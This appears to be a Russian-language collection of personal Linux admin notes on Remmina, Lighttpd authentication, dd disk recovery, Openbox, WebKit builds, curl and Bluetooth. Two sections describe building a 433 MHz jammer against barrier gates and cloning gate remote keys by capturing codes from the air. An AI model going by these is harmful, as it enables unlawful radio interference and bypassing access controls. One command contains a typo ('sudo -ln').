/usr/bin/remmina -c ~/.remmina/1421141884953.remmina & 
/usr/bin/remmina -c ~/.remmina/1421141945745.remmina &

Обнаружить какой файл подключения какому серверу соответсвует можно командой:

grep -rl servername ~/.remmina

Все. Дальше остается только сделать

sudo chmod a+x /usr/bin/remmina.sh

в_kde_4.13.3_некоторые_иконки_красный_крестик

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Проблема

В какой-то момент некоторые иконки на Ubuntu 14.04 с KDE 4.13.3 превратились в маленький красный крестик. Чистка кеша иконок KDE не помогала.

В тоже время при установке некторых пакетов apt-get ругалась на кривые скрипты pre/postinstall.

Решение

Дело было в кривой ссылке на python. В системе одновременно может быть установлено несколько версий python. В /usr/bin/python лежит символическая ссылка на исполняемый файл. Изначально ссылка указывала на /usr/bin/python2.7, однако для компиляции одной софтины мне понадобилось чтобы по-умолчанию скрипты исполнялись под python3 и я ссылку изменил. В результате в системе отвалились некоторые функции. В частности с иконками. Решение простое:

sudo rm /usr/bin/python
sudo -ln -s /usr/bin/python2.7 /usr/bin/python

виртуальные-пользоваватели-lighttpd-how-to-use-authentication-with-ligh ...

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

How to use authentication with Lighttpd (htpasswd)

In this example, we will setup basic authentication for Lighttpd. Let’s imagine, for the purpose of this tutorial, that you want to secure a directory where you store some sort of reports. Those will be served on reports.example.com. By default, they will be accessible to anyone. And we don’t want that.

Configs are done on a Debian-based system. For RedHat-based users, your mileage might vary a bit.
Minimal vhost example

$HTTP["host"] == "reports.example.com" {
server.document-root                = "/var/www/reports.example.com"
accesslog.filename                  = "/var/log/lighttpd/reports.example.com.access.log"
server.errorlog                     = "/var/log/lighttpd/reports.example.com.error.log"
}

That will be the starting base of our example.

Step 1: load mod_auth

We need to instruct lighttpd to load it’s authentication module by editing /etc/lighttpd/lighttpd.conf to add mod_auth to the server.modules section.

Step 2: create a password file

In order to do that, we will need to install the package apache2-utils (using apt-get). It will provide us with the command htpasswd. Lighttpd doesn’t have an equivalent tool, but since we’ll use that authentication mechanism, we still need it.

root@server:~# htpasswd -c /etc/lighttpd/htpasswd jsmith
New password:
Re-type new password:
Adding password for user jsmith

NOTE: Never put your password file under your document root!

Step 3: add the authentication config to your vhost

Our vhost will now look like this:

$HTTP["host"] == "reports.example.com" {
server.document-root                = "/var/www/reports.example.com"
accesslog.filename                  = "/var/log/lighttpd/reports.example.com.access.log"
server.errorlog                     = "/var/log/lighttpd/reports.example.com.error.log"
# Authentication config
auth.debug                          = 2
auth.backend                        = "htpasswd"
auth.backend.htpasswd.userfile      = "/etc/lighttpd/htpasswd"
auth.require = ( "/" => ( "method" => "basic", "realm" => "Restricted access", "require" => "user=jsmith" ) )
}

At this point, all that’s left to do is to restart lighttpd. The next time you access http://reports.example.com, you will be prompted for credentials.

восстановление-виснущего-диска

anonymous@undisclosed.example.com (Anonymous) — Mon, 12 Sep 2022 11:17:32 +0000

1. Делаем dd, дописывая в файл

dd if=/dev/sda >> /tmp/data 2> /tmp/tst

2. если виснет - Проверяем состояние.

var=$((time sh -c "dd if=/dev/zero of=ddfile bs=512 count=125 && sync") 2>&1)

3. узнаем где,

dd: reading `/dev/sda': Input/output error 
  116960+0 records in 
  116960+0 records out 
  59883520 bytes (60 MB) copied, 12.385 s, 4.8 MB/s 
  
  #если в строке с именем диска встречатся error 
  awk '/sda/ {print($5)}' /tmp/tst 

  #тогда узнаем где 
 
  #отрезаем последний символ два раза  
  sed 's/.$//' 
  sed 's/.$//'

4. останавливаем диск,

# echo 1 > /sys/block/sr0/device/delete

выключаем ждем и включаем -

wget http://10.9.8.5/port_3480/data_request?id=lu_action&DeviceNum=4&serviceId=urn:upnp-org:serviceId:SwitchPower1&action=SetTarget&newTargetValue=1&output_format=xml

5. запускаем снова,

# echo "- - -" > /sys/class/scsi_host/host1/scan

6. возобновляем dd

dd if=/dev/sda skip=blabla >> /tmp/data 2> /tmp/tst

Скрипт:

#!/bin/sh
#######################################
start_pos=$1
outputfile=$2
flagfile=/home/mike/out
propusk=8
volume=488397168
#######################################
# выключаем диск и включаем назад
echo 1 > /sys/block/sdb/device/delete
curl -s "http://192.168.10.156/port_3480/data_request?id=lu_action&DeviceNum=4&serviceId=urn:upnp-org:serviceId:SwitchPower1&action=SetTarget&newTargetValue=0" > /dev/$
echo OFF
sleep 5
curl -s "http://192.168.10.156/port_3480/data_request?id=lu_action&DeviceNum=4&serviceId=urn:upnp-org:serviceId:SwitchPower1&action=SetTarget&newTargetValue=1" > /dev/$
echo ON
sleep 5
echo "- - -" > /sys/class/scsi_host/host1/scan

while true
do
count=$(echo $volume - $start_pos | bc -l)
echo "Осталось: " $count
dd if=/dev/sdb skip=$start_pos count=$count >> $outputfile 2> $flagfile

if [ $(awk '/sdb/ {print($5)}' $flagfile) = 'error' ]
then
#сообщаем где
echo "ERRORR on "  $(awk '/records in/ {print($1)}' $flagfile)
start_pos=$(echo $(echo $(echo $(awk '/records in/ {print($1)}' $flagfile) | sed 's/.$//') |  sed 's/.$//') + $start_pos + $propusk | bc -l)
echo "Начинаем с: " $start_pos
dd if=/dev/zero count=$propusk >> $outputfile 2> $flagfile

# выключаем диск и включаем назад
echo 1 > /sys/block/sdb/device/delete
curl -s "http://192.168.10.156/port_3480/data_request?id=lu_action&DeviceNum=4&serviceId=urn:upnp-org:serviceId:SwitchPower1&action=SetTarget&newTargetValue=0" > /dev/null &&
echo OFF
sleep 5
curl -s "http://192.168.10.156/port_3480/data_request?id=lu_action&DeviceNum=4&serviceId=urn:upnp-org:serviceId:SwitchPower1&action=SetTarget&newTargetValue=1" > /dev/null &&
echo ON
sleep 5
echo "- - -" > /sys/class/scsi_host/host1/scan
fi
done

глушилка_433mhz_на_arduino

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Для борьбы с незаконно установленными шлагбаумами я решил собрать глушилку. Идея конструкции - к arduino прицепляю ресивер и трансмиттер на 433Mhz. Ресивер слушает эфир и если слышит что-то, то включает трансмттер и эфир засоряется.

В качестве ресивера я решил использовать девайсы с aliexpress - WL101-341. Судя по всему ресивер на базе SYN470R. Они продаются парами с трансмитерами. Вот такие: трансмиттер_и_ресивер_433_mhz.odt
Покупал тут: http://www.aliexpress.com/item/1pair-2pcs-433mhz-rf-transmitter-and-receiver-kit-For-Wireless-Power-switch-socket-remote-control-LED/32311933574.html

Трансмиттер решил брать понавороченнее. Выбрал мощностью 1Вт. Это довольно много!!
Брал вот тут: http://www.aliexpress.com/item/RFM23BP-433S-1W-SPI-433MHz-Wireless-Transceiver-Board/32609228388.html
Тем более для RFM23BP есть библиотека для работы с arduino: http://www.airspayce.com/mikem/arduino/RadioHead/ Вот схема подключения RFM22:

*                  Arduino      RFM-22B
*                  GND----------GND-\ (ground in)
*                               SDN-/ (shutdown in)
*                  3V3----------VCC   (3.3V in)
*  interrupt 0 pin D2-----------NIRQ  (interrupt request out)
*           SS pin D10----------NSEL  (chip select in)
*          SCK pin D13----------SCK   (SPI clock in)
*         MOSI pin D11----------SDI   (SPI Data in)
*         MISO pin D12----------SDO   (SPI data out)
*                            /--GPIO0 (GPIO0 out to control transmitter antenna TX_ANT
*                            \--TX_ANT (TX antenna control in)
*                            /--GPIO1 (GPIO1 out to control receiver antenna RX_ANT
*                            \--RX_ANT (RX antenna control in)
*

При подключении RFM23BPS с помощью этой библиотеки важно помнить, что RX_ANT и TX_ANT в версии RFM23BP инвертированы, относительно RFM22. То есть для того, чтобы модуль RFM22 перешел в состояние передачи необходимо чтобы TX_ANT был логический 1, а RX_ANT - логический 0, а для модуля RFM23BPS все наоборот. В состояние передачи (TX) он переходит если TX_ANT - логический 0, а RX_ANT - логический 1.

Кстати, по контактам RFM22 и RFM23 остались совместимы, благодаря тому, что помимо инверсии состояний RX_ANT и TX_ANT физически поменяны местами GPIO0 и GPIO1, к которым обычно и подключены эти выводы.

ВОт как подключать ресивер к ардуине: http://zelectro.cc/arduino-radio-transmitter-receiver

Первая проблема с которой я столкнулся - постоянный шум на выходе ресивера. Шум цифровой. Однозначно определить начало передачи сигнала оказалось довольно сложно. К счастью решение нашлось довольно быстро - http://forum.espruino.com/conversations/268494/. В двух словах - необходимо между ножками VCC и CTH повесить резистор порядка 1М - 10М. В моем случае подошел 1Мом.

если-для-массивов-dmraid-fakeraid-не-создаются-фаилы-раздел ...

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

У меня при загрузке с Live-CD Gentoo на сервере с fakeraid-контроллером LSI (плата Asus P8B-M) массивы как бы собирпались и в /dev появлялись файлы устройств /dev/dm-0, /dev/dm-1 и т.д. но смонтировать их было невозможно.
Решение - утилита kpartx
Для каждого dm-N выполняем команду типа

kpartx -a /dev/dm-7

И в /dev/mapper появляются файлы устройств, соответствующие разделам на дисках. Потом просто монтируем:

mount -t ntfs-3g /dev/mapper/ddf1_4c53492020202020808627c30000000047114711000032c8p2 /mnt/win

заикается_bluetooth

anonymous@undisclosed.example.com (Anonymous) — Thu, 23 Apr 2020 08:58:45 +0000

Проблема

При воспроизведении звука через bluetooth-гарнитуру периодически возникают искажения звука. Система - Ubuntu 19.10 с KDE.

Решение

В моем случае - помогла установка ядра low-latency:

sudo apt-get install -y linux-image-lowlatency

и увеличение лимита ресурсов для сервиса bluetooth.
В конфигурацию сервиса bluetooth нужно добавить:

[Service]
...
CPUAccounting=yes
CPUWeight=1000
CPUQuota=100%
MemorySwapMax=0

замена-тяжелого-gnome-на-быстрыи-openbox

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

1. Устанавливаем Openbox:

sudo apt-get install xinit openbox

2. Далее копируем конфиги под своим пользователем:

mkdir -p ~/.config/openbox/ 
cp /etc/xdg/openbox/rc.xml ~/.config/openbox/rc.xml
cp /etc/xdg/openbox/menu.xml ~/.config/openbox/menu.xml
cp /etc/xdg/openbox/autostart ~/.config/openbox/autostart

3. Создаем/изменяем файл ~/.xinitrc и пишем туда:

exec openbox-session

4. Автозапуск команд.
При запуске иксы смотрят файл ~/.xinitrc . Если его у вас нету - создайте. В него можно прописывать команды для тех программ, которые нужно запускать автоматически. Вот пример:

psi &
qutim &
conky &
xxkb &
feh --bg-scale /files/Pictures/Абстракции/organic.jpg &
tint2 &
openbox

Обратите внимание - команда openbox идет последней и после всех команд, идущих перед ней, стоит символ &. Если в этом примере “tint2 &” изменить на “tint2”, то openbox не запустится, пока не завершится процесс tint2.

5. Панель tint2
Дефолтный файл конфигурации tint2 называется ~/.config/tint2/tint2rc . Конфиг очень прост и интуитивен - мне хватило пяти минут, чтобы методом тыка привести tint2 панель в нужный мне вид. Для того, чтобы tint2 стартовала автоматически, я добавил строку tint2 & в ~/.xinitrc .
Установка на Ubuntu:

sudo apt-get install libcairo2-dev libpango1.0-dev libglib2.0-dev libimlib2-dev libxinerama-dev libx11-dev libxdamage-dev libxcomposite-dev libxrender-dev libxrandr-dev cmake  libgtk2.0-dev

Скачиваем и распаковываем. Последние релизы тут: http://code.google.com/p/tint2/downloads/list.

wget http://tint2.googlecode.com/files/tint2-0.11.tar.bz2
tar xvf tint2-0.11.tar.bz2

Ставим. Так написано в файле INSTALL.txt

cd tint2-0.11
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr ../
make
sudo make install

Теперь можно запустить эту панельку:

tint2

И прописать ее в автозапуск в файл $HOME/.config/openbox/autostart

(sleep 2s && tint2) &

запуск_webloop_на_ubuntu_14.04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Ставим Go

wget https://storage.googleapis.com/golang/go1.6.linux-amd64.tar.gz --no-check-certificate
sudo tar -C /usr/local -xzf ./go1.6.linux-amd64.tar.gz

Прописываем переменные GOPATH и GOROOT

Я работаю в контейнере openvz, поэтому просто поправил /etc/environment и он стал таким:

PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/usr/local/go/bin:"
GOROOT=/usr/local/go
GOPATH=/root/go

При этом путь GOPATH не может быть относительным типа $HOME/go, а только абсолютным - /home/user/go

Обновляем GCC

Для сборки Webkit понадобится GCC версии не ниже 4.9, однако в Ubuntu 14.04.04 в стандартной поставке GCC 4.8.
При этом, попытки скомпилировать WebKit с GCC 5.3.0 уперлись в ошибку типа:

undefined reference to `llvm::RTDyldMemoryManager::getSymbolAddress(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)'

Пробую ставить gcc 4.9:

sudo add-apt-repository ppa:ubuntu-toolchain-r/test
sudo apt-get update
sudo apt-get install gcc-4.9
sudo update-alternatives --remove-all gcc
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.9 20
sudo update-alternatives --config gcc

sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.9 20
sudo update-alternatives --install /usr/bin/cpp cpp /usr/bin/cpp-4.9 20
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.9 20
sudo update-alternatives --config gcc
sudo update-alternatives --config cpp
sudo update-alternatives --config g++

Собираем WebGit с GTK

sudo apt-get update && sudo apt-get install git pkg-config cmake clang nano  build-essential bison gperf ruby-full libcairo2-dev libicu-dev gettext libjpeg62-dev libxslt1-dev libsqlite3-dev libatspi2.0-dev libwebp-dev libgles2-mesa-dev libgl1-mesa-dev geoclue-2.0 geoclue libgeoclue-dev gobject-introspection

Клонируем репозиторий WebKit

git clone git://git.webkit.org/WebKit.git WebKit

Теперь нужно установить зависимости с помощью скрипта - Tools/gtk/install-dependencies
Однако, в нем некорректно указан пакет libtool-bin
Нужно изменить libtool-bin на libtool.

sudo Tools/gtk/install-dependencies

Дальше скачиваем еще немного необходимых модулей:

Tools/Scripts/update-webkitgtk-libs

Собираем:

Tools/Scripts/build-webkit --gtk --prefix=/usr/local --release

Пробуем скачать и запустить webloop

go get github.com/sourcegraph/webloop/...

Он выругается, что есть какой-то неизвестный тип или отсутствует пакет. Скорее всего нужна правильная версия GTK+. Если установить версию GTK+ старше 3.10, то будут сообщения, указывающие на отсуствие refrence gdk_wayland_display_get_type А если поставить версию 3.10, то тоже не соберется с сообщением об неивестном типе - unknown type name 'GtkPopover' . Поэтому выход такой - Сначала ставим версию GTK+ 3.10, а потом 3.16. Но прежде - нужно пройти dependence hell. Список, которые поставил я выглядит так:

-rw-r--r-- 1 root root  9427862 Jun  2 09:06 adwaita-icon-theme-full_3.16.2.1-2ubuntu1_all.deb
-rw-r--r-- 1 root root   943512 Jun  2 09:06 adwaita-icon-theme_3.16.2.1-2ubuntu1_all.deb
-rw-r--r-- 1 root root    48712 Jan 19  2015 fontconfig-config_2.11.1-0ubuntu6_all.deb
-rw-r--r-- 1 root root    17030 Sep 11 06:16 gcc-5-base_5.2.1-17ubuntu1_amd64.deb
-rw-r--r-- 1 root root    17728 May 14 06:20 gir1.2-atk-1.0_2.16.0-2_amd64.deb
-rw-r--r-- 1 root root   187352 Jul 24 09:34 gir1.2-gtk-3.0_3.16.6-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root    12836 Aug 12 18:24 gir1.2-javascriptcoregtk-3.0_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root    20950 Nov 18  2014 gir1.2-pango-1.0_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root    26614 Aug 12 18:24 gir1.2-webkit2-3.0_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root  1315042 Jul  6 11:41 humanity-icon-theme_0.6.9_all.deb
-rw-r--r-- 1 root root   378772 Sep 11 05:18 lib64stdc++6_5.2.1-17ubuntu1_i386.deb
-rw-r--r-- 1 root root    57782 May 14 06:20 libatk1.0-0_2.16.0-2_amd64.deb
-rw-r--r-- 1 root root    16898 May 14 06:20 libatk1.0-data_2.16.0-2_all.deb
-rw-r--r-- 1 root root    79070 May 14 06:20 libatk1.0-dev_2.16.0-2_amd64.deb
-rw-r--r-- 1 root root    37258 Jul 30 05:34 libboost-filesystem1.58.0_1.58.0+dfsg-0ubuntu5_amd64.deb
-rw-r--r-- 1 root root     9454 Jul 30 05:34 libboost-system1.58.0_1.58.0+dfsg-0ubuntu5_amd64.deb
-rw-r--r-- 1 root root    17416 Apr  8 08:12 libcairo-gobject2_1.14.2-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root    54382 Apr  8 08:12 libcairo-script-interpreter2_1.14.2-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root   593992 Apr  8 08:12 libcairo2-dev_1.14.2-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root   558844 Apr  8 08:12 libcairo2_1.14.2-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root    20282 Jun  9 07:13 libcap2-bin_2.24-9_amd64.deb
-rw-r--r-- 1 root root   100690 Jun  9 22:51 libcolord2_1.2.11-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root    39008 Aug  8 06:11 libelf1_0.163-4ubuntu1_amd64.deb
-rw-r--r-- 1 root root   104426 Jun  8  2014 libepoxy-dev_1.2-1_amd64.deb
-rw-r--r-- 1 root root   164522 Jun  8  2014 libepoxy0_1.2-1_amd64.deb
-rw-r--r-- 1 root root   640896 Jan 19  2015 libfontconfig1-dev_2.11.1-0ubuntu6_amd64.deb
-rw-r--r-- 1 root root   126516 Jan 19  2015 libfontconfig1_2.11.1-0ubuntu6_amd64.deb
-rw-r--r-- 1 root root   632734 Sep 10 08:13 libfreetype6-dev_2.5.2-2ubuntu3.1_amd64.deb
-rw-r--r-- 1 root root   314522 Sep 10 13:03 libfreetype6_2.5.2-2ubuntu3.1_amd64.deb
-rw-r--r-- 1 root root    88266 Oct 27  2014 libgirepository-1.0-1_1.42.0-2.2_amd64.deb
-rw-r--r-- 1 root root  1106104 Sep  7 07:38 libglib2.0-0_2.45.7-1_amd64.deb
-rw-r--r-- 1 root root    39468 Sep  7 07:38 libglib2.0-bin_2.45.7-1_amd64.deb
-rw-r--r-- 1 root root  1367218 Sep  7 07:38 libglib2.0-dev_2.45.7-1_amd64.deb
-rw-r--r-- 1 root root   729218 Sep  4 13:20 libgstreamer1.0-0_1.5.90-1_amd64.deb
-rw-r--r-- 1 root root  2300010 Jul 24 09:34 libgtk-3-0_3.16.6-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root   196084 Jul 24 09:34 libgtk-3-common_3.16.6-1ubuntu1_all.deb
-rw-r--r-- 1 root root   863430 Jul 24 09:34 libgtk-3-dev_3.16.6-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root   178560 Jan  5  2015 libharfbuzz-dev_0.9.37-1_amd64.deb
-rw-r--r-- 1 root root    11124 Jan  5  2015 libharfbuzz-gobject0_0.9.37-1_amd64.deb
-rw-r--r-- 1 root root     5446 Jan  5  2015 libharfbuzz-icu0_0.9.37-1_amd64.deb
-rw-r--r-- 1 root root   131906 Jan  5  2015 libharfbuzz0b_0.9.37-1_amd64.deb
-rw-r--r-- 1 root root  7652886 Aug  8 19:18 libicu55_55.1-4_amd64.deb
-rw-r--r-- 1 root root  1851120 Aug 12 18:24 libjavascriptcoregtk-3.0-0_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root    33452 Aug 12 18:24 libjavascriptcoregtk-3.0-bin_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root    21176 Aug 12 18:24 libjavascriptcoregtk-3.0-dev_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root    56706 May 23 19:16 libjson-glib-1.0-0_1.0.4-1_amd64.deb
-rw-r--r-- 1 root root     5852 May 23 19:16 libjson-glib-1.0-common_1.0.4-1_all.deb
-rw-r--r-- 1 root root   136966 Nov 17  2014 liblcms2-2_2.6-3ubuntu2_amd64.deb
-rw-r--r-- 1 root root    22578 Sep  3 15:30 libmirclient-dev_0.15.1+15.10.20150903-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root   153826 Sep  3 15:30 libmirclient9_0.15.1+15.10.20150903-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root    15476 Sep  3 15:30 libmircommon-dev_0.15.1+15.10.20150903-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root    62966 Sep  3 15:30 libmircommon5_0.15.1+15.10.20150903-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root    94278 Sep  3 15:30 libmirprotobuf1_0.15.1+15.10.20150903-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root   151888 Nov 18  2014 libpango-1.0-0_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root   287528 Nov 18  2014 libpango1.0-dev_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root    20612 Nov 18  2014 libpangocairo-1.0-0_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root    33446 Nov 18  2014 libpangoft2-1.0-0_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root    15264 Nov 18  2014 libpangoxft-1.0-0_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root    58274 Aug  6 07:28 libprotobuf-lite9v5_2.6.1-1.2_amd64.deb
-rw-r--r-- 1 root root    31798 Mar 17 09:40 librest-0.7-0_0.7.92-3_amd64.deb
-rw-r--r-- 1 root root    91300 Aug  8 13:16 librsvg2-2_2.40.10-1_amd64.deb
-rw-r--r-- 1 root root     5038 Aug  8 13:16 librsvg2-common_2.40.10-1_amd64.deb
-rw-r--r-- 1 root root   391722 Sep 11 06:30 libstdc++6_5.2.1-17ubuntu1_amd64.deb
-rw-r--r-- 1 root root    21978 Jun 13 07:12 libwayland-client0_1.8.1-1_amd64.deb
-rw-r--r-- 1 root root    10242 Jun 13 07:12 libwayland-cursor0_1.8.1-1_amd64.deb
-rw-r--r-- 1 root root   111378 Jun 13 07:12 libwayland-dev_1.8.1-1_amd64.deb
-rw-r--r-- 1 root root    26868 Jun 13 07:12 libwayland-server0_1.8.1-1_amd64.deb
-rw-r--r-- 1 root root 15053220 Aug 12 18:24 libwebkit2gtk-3.0-25_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root   169216 Aug 12 18:24 libwebkit2gtk-3.0-dev_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root   107506 Aug 12 18:24 libwebkitgtk-3.0-common_2.4.9-2ubuntu2_all.deb
-rw-r--r-- 1 root root    62644 Aug 12 18:24 libwebkitgtk-common-dev_2.4.9-2ubuntu2_all.deb
-rw-r--r-- 1 root root   164654 May 13 07:11 libwebp5_0.4.3-1.3_amd64.deb
-rw-r--r-- 1 root root   570876 Aug  4  2014 libx11-6_1.6.2-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root   639830 Aug  4  2014 libx11-dev_1.6.2-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root    45694 Jul 13  2014 libxft-dev_2.3.2-1_amd64.deb
-rw-r--r-- 1 root root    36120 Jul 13  2014 libxft2_2.3.2-1_amd64.deb
-rw-r--r-- 1 root root    97170 Jul 20 04:17 libxkbcommon0_0.5.0-1ubuntu2_amd64.deb
-rw-r--r-- 1 root root    24504 Apr  8 08:34 libxrender-dev_0.9.8-1build1_amd64.deb
-rw-r--r-- 1 root root    18482 Apr  8 08:34 libxrender1_0.9.8-1build1_amd64.deb
-rw-r--r-- 1 root root   176418 Sep 10 10:05 ubuntu-mono_14.04+15.10.20150910-0ubuntu1_all.deb

Их все я выкачал вручную и поставил:

dpkg -i ./*.deb

По просьбе трудищихся могу выложить файлик, где собраны зависимости.

Потом скачиваем, компилим и ставим две версии GTK:

wget http://ftp.gnome.org/pub/gnome/sources/gtk+/3.10/gtk+-3.10.2.tar.xz
tar -xvf gtk+-3.10.2.tar.xz
cd gtk+-3.10.2
./configure
make
make install

wget http://ftp.gnome.org/pub/gnome/sources/gtk+/3.16/gtk+-3.16.6.tar.xz
tar -xvf gtk+-3.16.6.tar.xz
cd gtk+-3.16.6
./configure
make
make install

И вот после этого скорее всего удастся скачать и собрать webtool:

go install github.com/sourcegraph/webloop/...

И даже запустить:

static-reverse-proxy -target=http://example.com -http=:13000

Но! при попытке открытия сайтика вылезет: Gtk-WARNING : cannot open display: Тут на помощь придет Xvfb:

apt-get install xvfb xserver-xorg-core x11-xkb-utils xfonts-100dpi xfonts-75dpi xfonts-scalable xfonts-cyrillic

проверяем:

Xvfb :99 -ac

И теперь можем запустить нашу webloop:

xvfb-run --server-args="-screen 0, 1280x1024x24" /root/go/bin/static-reverse-proxy -target=http://www.sitename.ru -http=:13000 -unfinished

И радуемся.

запуск_мобильных_приложений_java_jme_в_ubuntu

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Несмотря на то, что платформа JME уже практически мертва, иногда необходимо запустить JME-приложение на компьютере.

Для этих целей был создан Microemu. Утащил на всякий случай к себе: microemulator-2.0.4.zip

Скачиваем, распаковываем:

wget http://wiki.autosys.tk/lib/exe/fetch.php?media=linux_faq:microemulator-2.0.4.zip
unzip microemulator-2.0.4.zip

Устанавливаем Java если она еще не установлена:

sudo apt-get install default-jdk

Переходим в папку с распакованным microemulator и делаем файл microemulator.jar исполняемым:

cd microemulator-2.0.4
chmod +x microemulator.jar

переходим в папку и запускаем:

java -jar ./microemulator.jar

Должно открыться окно: Дальше в появившемся окне жмем File → Open MIDlet file и выбираем нужный .jar

значки_в_трее_kubuntu_16.04_sni_indicators

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Проблема

После установки Kubuntu 16.04 из трея рядом с часиками пропали значки (indicators) некоторых приложений. В частности - pidgin Оказалось, что в новом KDE 5 изменился программный интерфейс для вывода приложениями этих индикаторов. Раньше использовались QSystemTrayIcon а теперь StatusNotifierItems.

Решение

Для совмесимости со старыми приложениями есть пакет sni-qt. После его установки значки возвращаются на место.

sudo apt-get install sni-qt

использование-curl

anonymous@undisclosed.example.com (Anonymous) — Fri, 25 Dec 2020 14:05:54 +0000

curl для работы с ftp

Заходим на ftp и смотрим что там есть:

curl ftp://myftpsite.com --user myname:mypassword

Скачиваем файл с сервера:

curl ftp://myftpsite.com/mp3/mozart_piano_sonata.zip --user myname:mypassword -o mozart_piano_sonata.zip

Закачиваем файл на сервер:

curl -T koc_dance.mp3 ftp://myftpsite.com/mp3/ --user myname:mypassword

Смотрим файлы в поддиректориях:

curl ftp://myftpsite.com/mp3/  --user myname:mypassword

Листиниг только директорий:

curl ftp://myftpsite.com  --user myname:mypassword -s | grep ^d

Удаляем файл с сервера. Подтверждения не спрашивает!!:
Curl не умеет сам удалять файлы с ftp, поэтому в данном случае - мы отправляем текст FTP-команды с помощью -X.

curl ftp://myftpsite.com/ -X 'DELE mp3/koc_dance.mp3' --user myname:mypassword

curl и аутентификация kerberos

Вот кратко написано, что нужно знать о том, как curl аутентифицируется с помощью kerberos: https://stackoverflow.com/a/38664954
Если на хосте с которого мы обращаемся настроен kerberos и пользователь аутентифицирован (есть переменная KRB5CCNAME, которая указывает на keytab и в нем билет), то подключаться можно так:

curl -d "$REQUEST" --header "Content-Type: text/xml" --negotiate -u : $URL

То есть указываем тип аутентификации - negotiate (параметр –negotiate) и пользователь (параметр -u) с пустым именем а паролем - : .

curl через http-прокси

Работаем через proxy с аутентификацией на прокси с помощью kerberos:

curl --verbose -xsrv-proxy.domain.local:3128 --proxy-negotiate -U: https://ya.ru

Через прокси с NTLM-аутентификацией:

curl --proxy-ntlm --proxy-user DOMAINNAME\\username:p\@ssw0rd --proxy srv-proxy.domain.local:3128 https://ya.ru

curl и аутентификация с помощью клиентского сертификата

Допустим у нас есть сертификат в PKCS12. Мы извлекаем из него его составляющие вот так: Конвертация клиентского сертификата из PKCS12 в pem а затем используем для доступа к ресурсу:

curl --key ./key.pem --cacert ./ca.pem --cert ./client.pem https://secret.server.com/secret/url

использование_hhvm_в_качестве_fastcgi_вместо_php-fpm

anonymous@undisclosed.example.com (Anonymous) — Thu, 12 May 2022 11:56:22 +0000

https://docs.hhvm.com/hhvm/advanced-usage/fastCGI
https://hub.docker.com/r/hhvm/hhvm

качество_сигнала_bluetooth_signal_strenght

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Задача

Нужно увидеть в реальном времени качество сигнала отдельного устройства bluetooth (в моем случае - гарнитуры).

Решение

Для начала - определим MAC-адрес устройства. Посмотреть подключенные устройства можно командой:

hcitool con

Там будет виден MAC.

Затем пишем маленький скриптик bt_signal.sh:

#!/bin/sh
clear
while true
do
hcitool rssi 00:22:37:22:A1:3E
sleep 0.5
done

В строке hcitool rssi 00:22:37:22:A1:3E указывается адрес устройства, качество сигнала которого нужно посмотеть. Все. Запускаем и наслаждаемся.

клонирование_ключей_шлагбаумов

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Проблема

Пришла в наш двор беда. Инициативная группа установила шлагбаумы, а ключи раздали только избранным.
Печально, конечно, но надо что-то с этим делать. Пока альтернативная инициативная группа пытается юридически воздействовать на беспредельщиков, я пытаюсь как-то воздествовать на шлагбаумы технически. Просто физически сломать их было бы, конечно, проще, но ведь их починят.
Поэтому родалсь мысль либо сграбить коды радиобрелков из эфира и клонировать брелок, либо, если клонировать не получится - просто сделать глушилку, чтобы все были в равных условиях и шлаги не открывались ни у кого.

Матчасть

Что может понадобится для клонирования радиобрелка?
Самый простой вариант - оригинальный радиобрелок есть в наличии и код его статический. В этом случае на http://aliexpress.com/ покупается китайская “болванка” брелка и он клонируется буквально за пару минут.
Например такая -

Второй вариант - код статический, но брелка в наличии нет. В этом случае нужно сграбить код из эфира и воспроизвести его для записи на болванку. Это реалистичный для исполнения сценарий.
